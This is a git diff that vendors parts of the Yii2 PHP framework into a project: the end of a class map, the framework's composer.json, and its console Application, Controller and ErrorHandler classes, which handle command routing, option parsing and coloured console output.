'/i18n/I18N.php', + 'yii\i18n\MessageFormatter' => YII2_PATH . '/i18n/MessageFormatter.php', + 'yii\i18n\MessageSource' => YII2_PATH . '/i18n/MessageSource.php', + 'yii\i18n\MissingTranslationEvent' => YII2_PATH . '/i18n/MissingTranslationEvent.php', + 'yii\i18n\PhpMessageSource' => YII2_PATH . '/i18n/PhpMessageSource.php', + 'yii\log\DbTarget' => YII2_PATH . '/log/DbTarget.php', + 'yii\log\Dispatcher' => YII2_PATH . '/log/Dispatcher.php', + 'yii\log\EmailTarget' => YII2_PATH . '/log/EmailTarget.php', + 'yii\log\FileTarget' => YII2_PATH . '/log/FileTarget.php', + 'yii\log\Logger' => YII2_PATH . '/log/Logger.php', + 'yii\log\SyslogTarget' => YII2_PATH . '/log/SyslogTarget.php', + 'yii\log\Target' => YII2_PATH . '/log/Target.php', + 'yii\mail\BaseMailer' => YII2_PATH . '/mail/BaseMailer.php', + 'yii\mail\BaseMessage' => YII2_PATH . '/mail/BaseMessage.php', + 'yii\mail\MailEvent' => YII2_PATH . '/mail/MailEvent.php', + 'yii\mail\MailerInterface' => YII2_PATH . '/mail/MailerInterface.php', + 'yii\mail\MessageInterface' => YII2_PATH . '/mail/MessageInterface.php', + 'yii\mutex\DbMutex' => YII2_PATH . '/mutex/DbMutex.php', + 'yii\mutex\FileMutex' => YII2_PATH . '/mutex/FileMutex.php', + 'yii\mutex\Mutex' => YII2_PATH . '/mutex/Mutex.php', + 'yii\mutex\MysqlMutex' => YII2_PATH . '/mutex/MysqlMutex.php', + 'yii\rbac\Assignment' => YII2_PATH . '/rbac/Assignment.php', + 'yii\rbac\BaseManager' => YII2_PATH . '/rbac/BaseManager.php', + 'yii\rbac\DbManager' => YII2_PATH . '/rbac/DbManager.php', + 'yii\rbac\Item' => YII2_PATH . '/rbac/Item.php', + 'yii\rbac\ManagerInterface' => YII2_PATH . '/rbac/ManagerInterface.php', + 'yii\rbac\Permission' => YII2_PATH . '/rbac/Permission.php', + 'yii\rbac\PhpManager' => YII2_PATH . '/rbac/PhpManager.php', + 'yii\rbac\Role' => YII2_PATH . '/rbac/Role.php', + 'yii\rbac\Rule' => YII2_PATH . '/rbac/Rule.php', + 'yii\requirements\YiiRequirementChecker' => YII2_PATH . '/requirements/YiiRequirementChecker.php', + 'yii\rest\Action' => YII2_PATH . '/rest/Action.php', + 'yii\rest\ActiveController' => YII2_PATH . '/rest/ActiveController.php', + 'yii\rest\Controller' => YII2_PATH . '/rest/Controller.php', + 'yii\rest\CreateAction' => YII2_PATH . '/rest/CreateAction.php', + 'yii\rest\DeleteAction' => YII2_PATH . '/rest/DeleteAction.php', + 'yii\rest\IndexAction' => YII2_PATH . '/rest/IndexAction.php', + 'yii\rest\OptionsAction' => YII2_PATH . '/rest/OptionsAction.php', + 'yii\rest\Serializer' => YII2_PATH . '/rest/Serializer.php', + 'yii\rest\UpdateAction' => YII2_PATH . '/rest/UpdateAction.php', + 'yii\rest\UrlRule' => YII2_PATH . '/rest/UrlRule.php', + 'yii\rest\ViewAction' => YII2_PATH . '/rest/ViewAction.php', + 'yii\test\ActiveFixture' => YII2_PATH . '/test/ActiveFixture.php', + 'yii\test\ArrayFixture' => YII2_PATH . '/test/ArrayFixture.php', + 'yii\test\BaseActiveFixture' => YII2_PATH . '/test/BaseActiveFixture.php', + 'yii\test\DbFixture' => YII2_PATH . '/test/DbFixture.php', + 'yii\test\Fixture' => YII2_PATH . '/test/Fixture.php', + 'yii\test\FixtureTrait' => YII2_PATH . '/test/FixtureTrait.php', + 'yii\test\InitDbFixture' => YII2_PATH . '/test/InitDbFixture.php', + 'yii\validators\BooleanValidator' => YII2_PATH . '/validators/BooleanValidator.php', + 'yii\validators\CompareValidator' => YII2_PATH . '/validators/CompareValidator.php', + 'yii\validators\DateValidator' => YII2_PATH . '/validators/DateValidator.php', + 'yii\validators\DefaultValueValidator' => YII2_PATH . '/validators/DefaultValueValidator.php', + 'yii\validators\EmailValidator' => YII2_PATH . '/validators/EmailValidator.php', + 'yii\validators\ExistValidator' => YII2_PATH . '/validators/ExistValidator.php', + 'yii\validators\FileValidator' => YII2_PATH . '/validators/FileValidator.php', + 'yii\validators\FilterValidator' => YII2_PATH . '/validators/FilterValidator.php', + 'yii\validators\ImageValidator' => YII2_PATH . '/validators/ImageValidator.php', + 'yii\validators\InlineValidator' => YII2_PATH . '/validators/InlineValidator.php', + 'yii\validators\NumberValidator' => YII2_PATH . '/validators/NumberValidator.php', + 'yii\validators\PunycodeAsset' => YII2_PATH . '/validators/PunycodeAsset.php', + 'yii\validators\RangeValidator' => YII2_PATH . '/validators/RangeValidator.php', + 'yii\validators\RegularExpressionValidator' => YII2_PATH . '/validators/RegularExpressionValidator.php', + 'yii\validators\RequiredValidator' => YII2_PATH . '/validators/RequiredValidator.php', + 'yii\validators\SafeValidator' => YII2_PATH . '/validators/SafeValidator.php', + 'yii\validators\StringValidator' => YII2_PATH . '/validators/StringValidator.php', + 'yii\validators\UniqueValidator' => YII2_PATH . '/validators/UniqueValidator.php', + 'yii\validators\UrlValidator' => YII2_PATH . '/validators/UrlValidator.php', + 'yii\validators\ValidationAsset' => YII2_PATH . '/validators/ValidationAsset.php', + 'yii\validators\Validator' => YII2_PATH . '/validators/Validator.php', + 'yii\web\Application' => YII2_PATH . '/web/Application.php', + 'yii\web\AssetBundle' => YII2_PATH . '/web/AssetBundle.php', + 'yii\web\AssetConverter' => YII2_PATH . '/web/AssetConverter.php', + 'yii\web\AssetConverterInterface' => YII2_PATH . '/web/AssetConverterInterface.php', + 'yii\web\AssetManager' => YII2_PATH . '/web/AssetManager.php', + 'yii\web\BadRequestHttpException' => YII2_PATH . '/web/BadRequestHttpException.php', + 'yii\web\CacheSession' => YII2_PATH . '/web/CacheSession.php', + 'yii\web\CompositeUrlRule' => YII2_PATH . '/web/CompositeUrlRule.php', + 'yii\web\ConflictHttpException' => YII2_PATH . '/web/ConflictHttpException.php', + 'yii\web\Controller' => YII2_PATH . '/web/Controller.php', + 'yii\web\Cookie' => YII2_PATH . '/web/Cookie.php', + 'yii\web\CookieCollection' => YII2_PATH . '/web/CookieCollection.php', + 'yii\web\DbSession' => YII2_PATH . '/web/DbSession.php', + 'yii\web\ErrorAction' => YII2_PATH . '/web/ErrorAction.php', + 'yii\web\ErrorHandler' => YII2_PATH . '/web/ErrorHandler.php', + 'yii\web\ForbiddenHttpException' => YII2_PATH . '/web/ForbiddenHttpException.php', + 'yii\web\GoneHttpException' => YII2_PATH . '/web/GoneHttpException.php', + 'yii\web\GroupUrlRule' => YII2_PATH . '/web/GroupUrlRule.php', + 'yii\web\HeaderCollection' => YII2_PATH . '/web/HeaderCollection.php', + 'yii\web\HtmlResponseFormatter' => YII2_PATH . '/web/HtmlResponseFormatter.php', + 'yii\web\HttpException' => YII2_PATH . '/web/HttpException.php', + 'yii\web\IdentityInterface' => YII2_PATH . '/web/IdentityInterface.php', + 'yii\web\JqueryAsset' => YII2_PATH . '/web/JqueryAsset.php', + 'yii\web\JsExpression' => YII2_PATH . '/web/JsExpression.php', + 'yii\web\JsonParser' => YII2_PATH . '/web/JsonParser.php', + 'yii\web\JsonResponseFormatter' => YII2_PATH . '/web/JsonResponseFormatter.php', + 'yii\web\Link' => YII2_PATH . '/web/Link.php', + 'yii\web\Linkable' => YII2_PATH . '/web/Linkable.php', + 'yii\web\MethodNotAllowedHttpException' => YII2_PATH . '/web/MethodNotAllowedHttpException.php', + 'yii\web\NotAcceptableHttpException' => YII2_PATH . '/web/NotAcceptableHttpException.php', + 'yii\web\NotFoundHttpException' => YII2_PATH . '/web/NotFoundHttpException.php', + 'yii\web\Request' => YII2_PATH . '/web/Request.php', + 'yii\web\RequestParserInterface' => YII2_PATH . '/web/RequestParserInterface.php', + 'yii\web\Response' => YII2_PATH . '/web/Response.php', + 'yii\web\ResponseFormatterInterface' => YII2_PATH . '/web/ResponseFormatterInterface.php', + 'yii\web\ServerErrorHttpException' => YII2_PATH . '/web/ServerErrorHttpException.php', + 'yii\web\Session' => YII2_PATH . '/web/Session.php', + 'yii\web\SessionIterator' => YII2_PATH . '/web/SessionIterator.php', + 'yii\web\TooManyRequestsHttpException' => YII2_PATH . '/web/TooManyRequestsHttpException.php', + 'yii\web\UnauthorizedHttpException' => YII2_PATH . '/web/UnauthorizedHttpException.php', + 'yii\web\UnsupportedMediaTypeHttpException' => YII2_PATH . '/web/UnsupportedMediaTypeHttpException.php', + 'yii\web\UploadedFile' => YII2_PATH . '/web/UploadedFile.php', + 'yii\web\UrlManager' => YII2_PATH . '/web/UrlManager.php', + 'yii\web\UrlRule' => YII2_PATH . '/web/UrlRule.php', + 'yii\web\UrlRuleInterface' => YII2_PATH . '/web/UrlRuleInterface.php', + 'yii\web\User' => YII2_PATH . '/web/User.php', + 'yii\web\UserEvent' => YII2_PATH . '/web/UserEvent.php', + 'yii\web\View' => YII2_PATH . '/web/View.php', + 'yii\web\ViewAction' => YII2_PATH . '/web/ViewAction.php', + 'yii\web\XmlResponseFormatter' => YII2_PATH . '/web/XmlResponseFormatter.php', + 'yii\web\YiiAsset' => YII2_PATH . '/web/YiiAsset.php', + 'yii\widgets\ActiveField' => YII2_PATH . '/widgets/ActiveField.php', + 'yii\widgets\ActiveForm' => YII2_PATH . '/widgets/ActiveForm.php', + 'yii\widgets\ActiveFormAsset' => YII2_PATH . '/widgets/ActiveFormAsset.php', + 'yii\widgets\BaseListView' => YII2_PATH . '/widgets/BaseListView.php', + 'yii\widgets\Block' => YII2_PATH . '/widgets/Block.php', + 'yii\widgets\Breadcrumbs' => YII2_PATH . '/widgets/Breadcrumbs.php', + 'yii\widgets\ContentDecorator' => YII2_PATH . '/widgets/ContentDecorator.php', + 'yii\widgets\DetailView' => YII2_PATH . '/widgets/DetailView.php', + 'yii\widgets\FragmentCache' => YII2_PATH . '/widgets/FragmentCache.php', + 'yii\widgets\InputWidget' => YII2_PATH . '/widgets/InputWidget.php', + 'yii\widgets\LinkPager' => YII2_PATH . '/widgets/LinkPager.php', + 'yii\widgets\LinkSorter' => YII2_PATH . '/widgets/LinkSorter.php', + 'yii\widgets\ListView' => YII2_PATH . '/widgets/ListView.php', + 'yii\widgets\MaskedInput' => YII2_PATH . '/widgets/MaskedInput.php', + 'yii\widgets\MaskedInputAsset' => YII2_PATH . '/widgets/MaskedInputAsset.php', + 'yii\widgets\Menu' => YII2_PATH . '/widgets/Menu.php', + 'yii\widgets\Pjax' => YII2_PATH . '/widgets/Pjax.php', + 'yii\widgets\PjaxAsset' => YII2_PATH . '/widgets/PjaxAsset.php', + 'yii\widgets\Spaceless' => YII2_PATH . '/widgets/Spaceless.php', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/composer.json b/php/yii2/basic/vendor/yiisoft/yii2/composer.json new file mode 100644 index 00000000..4dd84bb3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/composer.json @@ -0,0 +1,77 @@ +{ + "name": "yiisoft/yii2", + "description": "Yii PHP Framework Version 2", + "keywords": [ + "yii2", + "framework" + ], + "homepage": "http://www.yiiframework.com/", + "type": "library", + "license": "BSD-3-Clause", + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com", + "homepage": "http://www.yiiframework.com/", + "role": "Founder and project lead" + }, + { + "name": "Alexander Makarov", + "email": "sam@rmcreative.ru", + "homepage": "http://rmcreative.ru/", + "role": "Core framework development" + }, + { + "name": "Maurizio Domba", + "homepage": "http://mdomba.info/", + "role": "Core framework development" + }, + { + "name": "Carsten Brandt", + "email": "mail@cebe.cc", + "homepage": "http://cebe.cc/", + "role": "Core framework development" + }, + { + "name": "Timur Ruziev", + "email": "resurtm@gmail.com", + "homepage": "http://resurtm.com/", + "role": "Core framework development" + }, + { + "name": "Paul Klimov", + "email": "klimov.paul@gmail.com", + "role": "Core framework development" + } + ], + "support": { + "issues": "https://github.com/yiisoft/yii2/issues?state=open", + "forum": "http://www.yiiframework.com/forum/", + "wiki": "http://www.yiiframework.com/wiki/", + "irc": "irc://irc.freenode.net/yii", + "source": "https://github.com/yiisoft/yii2" + }, + "require": { + "php": ">=5.4.0", + "ext-mbstring": "*", + "lib-pcre": "*", + "yiisoft/yii2-composer": "*", + "ezyang/htmlpurifier": "4.6.*", + "cebe/markdown": "~1.0.0", + "bower-asset/jquery": "2.1.*@stable | 1.11.*@stable", + "bower-asset/jquery.inputmask": "3.1.*", + "bower-asset/punycode": "1.3.*", + "bower-asset/yii2-pjax": ">=2.0.1" + }, + "autoload": { + "psr-4": {"yii\\": ""} + }, + "bin": [ + "yii" + ], + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/Application.php b/php/yii2/basic/vendor/yiisoft/yii2/console/Application.php new file mode 100644 index 00000000..1314eae6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/Application.php @@ -0,0 +1,194 @@ + [--param1=value1 --param2 ...] + * ~~~ + * + * where `` refers to a controller route in the form of `ModuleID/ControllerID/ActionID` + * (e.g. `sitemap/create`), and `param1`, `param2` refers to a set of named parameters that + * will be used to initialize the controller action (e.g. `--since=0` specifies a `since` parameter + * whose value is 0 and a corresponding `$since` parameter is passed to the action method). + * + * A `help` command is provided by default, which lists available commands and shows their usage. + * To use this command, simply type: + * + * ~~~ + * yii help + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class Application extends \yii\base\Application +{ + /** + * The option name for specifying the application configuration file path. + */ + const OPTION_APPCONFIG = 'appconfig'; + + /** + * @var string the default route of this application. Defaults to 'help', + * meaning the `help` command. + */ + public $defaultRoute = 'help'; + /** + * @var boolean whether to enable the commands provided by the core framework. + * Defaults to true. + */ + public $enableCoreCommands = true; + /** + * @var Controller the currently active controller instance + */ + public $controller; + + + /** + * @inheritdoc + */ + public function __construct($config = []) + { + $config = $this->loadConfig($config); + parent::__construct($config); + } + + /** + * Loads the configuration. + * This method will check if the command line option [[OPTION_APPCONFIG]] is specified. + * If so, the corresponding file will be loaded as the application configuration. + * Otherwise, the configuration provided as the parameter will be returned back. + * @param array $config the configuration provided in the constructor. + * @return array the actual configuration to be used by the application. + */ + protected function loadConfig($config) + { + if (!empty($_SERVER['argv'])) { + $option = '--' . self::OPTION_APPCONFIG . '='; + foreach ($_SERVER['argv'] as $param) { + if (strpos($param, $option) !== false) { + $path = substr($param, strlen($option)); + if (!empty($path) && is_file($file = Yii::getAlias($path))) { + return require($file); + } else { + die("The configuration file does not exist: $path\n"); + } + } + } + } + + return $config; + } + + /** + * Initialize the application. + */ + public function init() + { + parent::init(); + if ($this->enableCoreCommands) { + foreach ($this->coreCommands() as $id => $command) { + if (!isset($this->controllerMap[$id])) { + $this->controllerMap[$id] = $command; + } + } + } + // ensure we have the 'help' command so that we can list the available commands + if (!isset($this->controllerMap['help'])) { + $this->controllerMap['help'] = 'yii\console\controllers\HelpController'; + } + } + + /** + * Handles the specified request. + * @param Request $request the request to be handled + * @return Response the resulting response + */ + public function handleRequest($request) + { + list ($route, $params) = $request->resolve(); + $this->requestedRoute = $route; + $result = $this->runAction($route, $params); + if ($result instanceof Response) { + return $result; + } else { + $response = $this->getResponse(); + $response->exitStatus = $result; + + return $response; + } + } + + /** + * Runs a controller action specified by a route. + * This method parses the specified route and creates the corresponding child module(s), controller and action + * instances. It then calls [[Controller::runAction()]] to run the action with the given parameters. + * If the route is empty, the method will use [[defaultRoute]]. + * @param string $route the route that specifies the action. + * @param array $params the parameters to be passed to the action + * @return integer the status code returned by the action execution. 0 means normal, and other values mean abnormal. + * @throws Exception if the route is invalid + */ + public function runAction($route, $params = []) + { + try { + return (int)parent::runAction($route, $params); + } catch (InvalidRouteException $e) { + throw new Exception("Unknown command \"$route\".", 0, $e); + } + } + + /** + * Returns the configuration of the built-in commands. + * @return array the configuration of the built-in commands. + */ + public function coreCommands() + { + return [ + 'message' => 'yii\console\controllers\MessageController', + 'help' => 'yii\console\controllers\HelpController', + 'migrate' => 'yii\console\controllers\MigrateController', + 'cache' => 'yii\console\controllers\CacheController', + 'asset' => 'yii\console\controllers\AssetController', + 'fixture' => 'yii\console\controllers\FixtureController', + ]; + } + + /** + * @inheritdoc + */ + public function coreComponents() + { + return array_merge(parent::coreComponents(), [ + 'request' => ['class' => 'yii\console\Request'], + 'response' => ['class' => 'yii\console\Response'], + 'errorHandler' => ['class' => 'yii\console\ErrorHandler'], + ]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/Controller.php b/php/yii2/basic/vendor/yiisoft/yii2/console/Controller.php new file mode 100644 index 00000000..e6d703fa --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/Controller.php @@ -0,0 +1,513 @@ + [--param1=value1 --param2 ...] + * ~~~ + * + * where `` is a route to a controller action and the params will be populated as properties of a command. + * See [[options()]] for details. + * + * @property string $help This property is read-only. + * @property string $helpSummary This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Controller extends \yii\base\Controller +{ + const EXIT_CODE_NORMAL = 0; + const EXIT_CODE_ERROR = 1; + + /** + * @var boolean whether to run the command interactively. + */ + public $interactive = true; + /** + * @var boolean whether to enable ANSI color in the output. + * If not set, ANSI color will only be enabled for terminals that support it. + */ + public $color; + + + /** + * Returns a value indicating whether ANSI color is enabled. + * + * ANSI color is enabled only if [[color]] is set true or is not set + * and the terminal supports ANSI color. + * + * @param resource $stream the stream to check. + * @return boolean Whether to enable ANSI style in output. + */ + public function isColorEnabled($stream = \STDOUT) + { + return $this->color === null ? Console::streamSupportsAnsiColors($stream) : $this->color; + } + + /** + * Runs an action with the specified action ID and parameters. + * If the action ID is empty, the method will use [[defaultAction]]. + * @param string $id the ID of the action to be executed. + * @param array $params the parameters (name-value pairs) to be passed to the action. + * @return integer the status of the action execution. 0 means normal, other values mean abnormal. + * @throws InvalidRouteException if the requested action ID cannot be resolved into an action successfully. + * @throws Exception if there are unknown options or missing arguments + * @see createAction + */ + public function runAction($id, $params = []) + { + if (!empty($params)) { + // populate options here so that they are available in beforeAction(). + $options = $this->options($id); + foreach ($params as $name => $value) { + if (in_array($name, $options, true)) { + $default = $this->$name; + $this->$name = is_array($default) ? preg_split('/\s*,\s*/', $value) : $value; + unset($params[$name]); + } elseif (!is_int($name)) { + throw new Exception(Yii::t('yii', 'Unknown option: --{name}', ['name' => $name])); + } + } + } + return parent::runAction($id, $params); + } + + /** + * Binds the parameters to the action. + * This method is invoked by [[Action]] when it begins to run with the given parameters. + * This method will first bind the parameters with the [[options()|options]] + * available to the action. It then validates the given arguments. + * @param Action $action the action to be bound with parameters + * @param array $params the parameters to be bound to the action + * @return array the valid parameters that the action can run with. + * @throws Exception if there are unknown options or missing arguments + */ + public function bindActionParams($action, $params) + { + if ($action instanceof InlineAction) { + $method = new \ReflectionMethod($this, $action->actionMethod); + } else { + $method = new \ReflectionMethod($action, 'run'); + } + + $args = array_values($params); + + $missing = []; + foreach ($method->getParameters() as $i => $param) { + if ($param->isArray() && isset($args[$i])) { + $args[$i] = preg_split('/\s*,\s*/', $args[$i]); + } + if (!isset($args[$i])) { + if ($param->isDefaultValueAvailable()) { + $args[$i] = $param->getDefaultValue(); + } else { + $missing[] = $param->getName(); + } + } + } + + if (!empty($missing)) { + throw new Exception(Yii::t('yii', 'Missing required arguments: {params}', ['params' => implode(', ', $missing)])); + } + + return $args; + } + + /** + * Formats a string with ANSI codes + * + * You may pass additional parameters using the constants defined in [[\yii\helpers\Console]]. + * + * Example: + * + * ~~~ + * echo $this->ansiFormat('This will be red and underlined.', Console::FG_RED, Console::UNDERLINE); + * ~~~ + * + * @param string $string the string to be formatted + * @return string + */ + public function ansiFormat($string) + { + if ($this->isColorEnabled()) { + $args = func_get_args(); + array_shift($args); + $string = Console::ansiFormat($string, $args); + } + return $string; + } + + /** + * Prints a string to STDOUT + * + * You may optionally format the string with ANSI codes by + * passing additional parameters using the constants defined in [[\yii\helpers\Console]]. + * + * Example: + * + * ~~~ + * $this->stdout('This will be red and underlined.', Console::FG_RED, Console::UNDERLINE); + * ~~~ + * + * @param string $string the string to print + * @return int|boolean Number of bytes printed or false on error + */ + public function stdout($string) + { + if ($this->isColorEnabled()) { + $args = func_get_args(); + array_shift($args); + $string = Console::ansiFormat($string, $args); + } + return Console::stdout($string); + } + + /** + * Prints a string to STDERR + * + * You may optionally format the string with ANSI codes by + * passing additional parameters using the constants defined in [[\yii\helpers\Console]]. + * + * Example: + * + * ~~~ + * $this->stderr('This will be red and underlined.', Console::FG_RED, Console::UNDERLINE); + * ~~~ + * + * @param string $string the string to print + * @return int|boolean Number of bytes printed or false on error + */ + public function stderr($string) + { + if ($this->isColorEnabled(\STDERR)) { + $args = func_get_args(); + array_shift($args); + $string = Console::ansiFormat($string, $args); + } + return fwrite(\STDERR, $string); + } + + /** + * Prompts the user for input and validates it + * + * @param string $text prompt string + * @param array $options the options to validate the input: + * + * - required: whether it is required or not + * - default: default value if no input is inserted by the user + * - pattern: regular expression pattern to validate user input + * - validator: a callable function to validate input. The function must accept two parameters: + * - $input: the user input to validate + * - $error: the error value passed by reference if validation failed. + * @return string the user input + */ + public function prompt($text, $options = []) + { + if ($this->interactive) { + return Console::prompt($text, $options); + } else { + return isset($options['default']) ? $options['default'] : ''; + } + } + + /** + * Asks user to confirm by typing y or n. + * + * @param string $message to echo out before waiting for user input + * @param boolean $default this value is returned if no selection is made. + * @return boolean whether user confirmed. + * Will return true if [[interactive]] is false. + */ + public function confirm($message, $default = false) + { + if ($this->interactive) { + return Console::confirm($message, $default); + } else { + return true; + } + } + + /** + * Gives the user an option to choose from. Giving '?' as an input will show + * a list of options to choose from and their explanations. + * + * @param string $prompt the prompt message + * @param array $options Key-value array of options to choose from + * + * @return string An option character the user chose + */ + public function select($prompt, $options = []) + { + return Console::select($prompt, $options); + } + + /** + * Returns the names of valid options for the action (id) + * An option requires the existence of a public member variable whose + * name is the option name. + * Child classes may override this method to specify possible options. + * + * Note that the values setting via options are not available + * until [[beforeAction()]] is being called. + * + * @param string $actionID the action id of the current request + * @return array the names of the options valid for the action + */ + public function options($actionID) + { + // $actionId might be used in subclasses to provide options specific to action id + return ['color', 'interactive']; + } + + /** + * Returns one-line short summary describing this controller. + * + * You may override this method to return customized summary. + * The default implementation returns first line from the PHPDoc comment. + * + * @return string + */ + public function getHelpSummary() + { + return $this->parseDocCommentSummary(new \ReflectionClass($this)); + } + + /** + * Returns help information for this controller. + * + * You may override this method to return customized help. + * The default implementation returns help information retrieved from the PHPDoc comment. + * @return string + */ + public function getHelp() + { + return $this->parseDocCommentDetail(new \ReflectionClass($this)); + } + + /** + * Returns a one-line short summary describing the specified action. + * @param Action $action action to get summary for + * @return string a one-line short summary describing the specified action. + */ + public function getActionHelpSummary($action) + { + return $this->parseDocCommentSummary($this->getActionMethodReflection($action)); + } + + /** + * Returns the detailed help information for the specified action. + * @param Action $action action to get help for + * @return string the detailed help information for the specified action. + */ + public function getActionHelp($action) + { + return $this->parseDocCommentDetail($this->getActionMethodReflection($action)); + } + + /** + * Returns the help information for the anonymous arguments for the action. + * The returned value should be an array. The keys are the argument names, and the values are + * the corresponding help information. Each value must be an array of the following structure: + * + * - required: boolean, whether this argument is required. + * - type: string, the PHP type of this argument. + * - default: string, the default value of this argument + * - comment: string, the comment of this argument + * + * The default implementation will return the help information extracted from the doc-comment of + * the parameters corresponding to the action method. + * + * @param Action $action + * @return array the help information of the action arguments + */ + public function getActionArgsHelp($action) + { + $method = $this->getActionMethodReflection($action); + $tags = $this->parseDocCommentTags($method); + $params = isset($tags['param']) ? (array) $tags['param'] : []; + + $args = []; + foreach ($method->getParameters() as $i => $reflection) { + $name = $reflection->getName(); + $tag = isset($params[$i]) ? $params[$i] : ''; + if (preg_match('/^([^\s]+)\s+(\$\w+\s+)?(.*)/s', $tag, $matches)) { + $type = $matches[1]; + $comment = $matches[3]; + } else { + $type = null; + $comment = $tag; + } + if ($reflection->isDefaultValueAvailable()) { + $args[$name] = [ + 'required' => false, + 'type' => $type, + 'default' => $reflection->getDefaultValue(), + 'comment' => $comment, + ]; + } else { + $args[$name] = [ + 'required' => true, + 'type' => $type, + 'default' => null, + 'comment' => $comment, + ]; + } + } + return $args; + } + + /** + * Returns the help information for the options for the action. + * The returned value should be an array. The keys are the option names, and the values are + * the corresponding help information. Each value must be an array of the following structure: + * + * - type: string, the PHP type of this argument. + * - default: string, the default value of this argument + * - comment: string, the comment of this argument + * + * The default implementation will return the help information extracted from the doc-comment of + * the properties corresponding to the action options. + * + * @param Action $action + * @return array the help information of the action options + */ + public function getActionOptionsHelp($action) + { + $optionNames = $this->options($action->id); + if (empty($optionNames)) { + return []; + } + + $class = new \ReflectionClass($this); + $options = []; + foreach ($class->getProperties() as $property) { + $name = $property->getName(); + if (!in_array($name, $optionNames, true)) { + continue; + } + $defaultValue = $property->getValue($this); + $tags = $this->parseDocCommentTags($property); + if (isset($tags['var']) || isset($tags['property'])) { + $doc = isset($tags['var']) ? $tags['var'] : $tags['property']; + if (is_array($doc)) { + $doc = reset($doc); + } + if (preg_match('/^([^\s]+)(.*)/s', $doc, $matches)) { + $type = $matches[1]; + $comment = $matches[2]; + } else { + $type = null; + $comment = $doc; + } + $options[$name] = [ + 'type' => $type, + 'default' => $defaultValue, + 'comment' => $comment, + ]; + } else { + $options[$name] = [ + 'type' => null, + 'default' => $defaultValue, + 'comment' => '', + ]; + } + } + return $options; + } + + private $_reflections = []; + + /** + * @param Action $action + * @return \ReflectionMethod + */ + protected function getActionMethodReflection($action) + { + if (!isset($this->_reflections[$action->id])) { + if ($action instanceof InlineAction) { + $this->_reflections[$action->id] = new \ReflectionMethod($this, $action->actionMethod); + } else { + $this->_reflections[$action->id] = new \ReflectionMethod($action, 'run'); + } + } + return $this->_reflections[$action->id]; + } + + /** + * Parses the comment block into tags. + * @param \Reflector $reflection the comment block + * @return array the parsed tags + */ + protected function parseDocCommentTags($reflection) + { + $comment = $reflection->getDocComment(); + $comment = "@description \n" . strtr(trim(preg_replace('/^\s*\**( |\t)?/m', '', trim($comment, '/'))), "\r", ''); + $parts = preg_split('/^\s*@/m', $comment, -1, PREG_SPLIT_NO_EMPTY); + $tags = []; + foreach ($parts as $part) { + if (preg_match('/^(\w+)(.*)/ms', trim($part), $matches)) { + $name = $matches[1]; + if (!isset($tags[$name])) { + $tags[$name] = trim($matches[2]); + } elseif (is_array($tags[$name])) { + $tags[$name][] = trim($matches[2]); + } else { + $tags[$name] = [$tags[$name], trim($matches[2])]; + } + } + } + return $tags; + } + + /** + * Returns the first line of docblock. + * + * @param \Reflector $reflection + * @return string + */ + protected function parseDocCommentSummary($reflection) + { + $docLines = preg_split('~\R~', $reflection->getDocComment()); + if (isset($docLines[1])) { + return trim($docLines[1], ' *'); + } + return ''; + } + + /** + * Returns full description from the docblock. + * + * @param \Reflector $reflection + * @return string + */ + protected function parseDocCommentDetail($reflection) + { + $comment = strtr(trim(preg_replace('/^\s*\**( |\t)?/m', '', trim($reflection->getDocComment(), '/'))), "\r", ''); + if (preg_match('/^\s*@\w+/m', $comment, $matches, PREG_OFFSET_CAPTURE)) { + $comment = trim(substr($comment, 0, $matches[0][1])); + } + if ($comment !== '') { + return rtrim(Console::renderColoredString(Console::markdownToAnsi($comment))); + } + return ''; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/ErrorHandler.php b/php/yii2/basic/vendor/yiisoft/yii2/console/ErrorHandler.php new file mode 100644 index 00000000..9fe3a97b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/ErrorHandler.php @@ -0,0 +1,78 @@ +errorHandler`. + * + * @author Carsten Brandt + * @since 2.0 + */ +class ErrorHandler extends \yii\base\ErrorHandler +{ + /** + * Renders an exception using ansi format for console output. + * @param \Exception $exception the exception to be rendered. + */ + protected function renderException($exception) + { + if ($exception instanceof Exception && ($exception instanceof UserException || !YII_DEBUG)) { + $message = $this->formatMessage($exception->getName() . ': ') . $exception->getMessage(); + } elseif (YII_DEBUG) { + if ($exception instanceof Exception) { + $message = $this->formatMessage("Exception ({$exception->getName()})"); + } elseif ($exception instanceof ErrorException) { + $message = $this->formatMessage($exception->getName()); + } else { + $message = $this->formatMessage('Exception'); + } + $message .= $this->formatMessage(" '" . get_class($exception) . "'", [Console::BOLD, Console::FG_BLUE]) + . " with message " . $this->formatMessage("'{$exception->getMessage()}'", [Console::BOLD]) //. "\n" + . "\n\nin " . dirname($exception->getFile()) . DIRECTORY_SEPARATOR . $this->formatMessage(basename($exception->getFile()), [Console::BOLD]) + . ':' . $this->formatMessage($exception->getLine(), [Console::BOLD, Console::FG_YELLOW]) . "\n"; + if ($exception instanceof \yii\db\Exception && !empty($exception->errorInfo)) { + $message .= "\n" . $this->formatMessage("Error Info:\n", [Console::BOLD]) . print_r($exception->errorInfo, true); + } + $message .= "\n" . $this->formatMessage("Stack trace:\n", [Console::BOLD]) . $exception->getTraceAsString(); + } else { + $message = $this->formatMessage('Error: ') . $exception->getMessage(); + } + + if (PHP_SAPI === 'cli') { + Console::stderr($message . "\n"); + } else { + echo $message . "\n"; + } + } + + /** + * Colorizes a message for console output. + * @param string $message the message to colorize. + * @param array $format the message format. + * @return string the colorized message. + * @see Console::ansiFormat() for details on how to specify the message format. + */ + protected function formatMessage($message, $format = [Console::FG_RED, Console::BOLD]) + { + $stream = (PHP_SAPI === 'cli') ? \STDERR : \STDOUT; + // try controller first to allow check for --color switch + if (Yii::$app->controller instanceof \yii\console\Controller && Yii::$app->controller->isColorEnabled($stream) + || Yii::$app instanceof \yii\console\Application && Console::streamSupportsAnsiColors($stream)) { + $message = Console::ansiFormat($message, $format); + } + return $message; + } +} 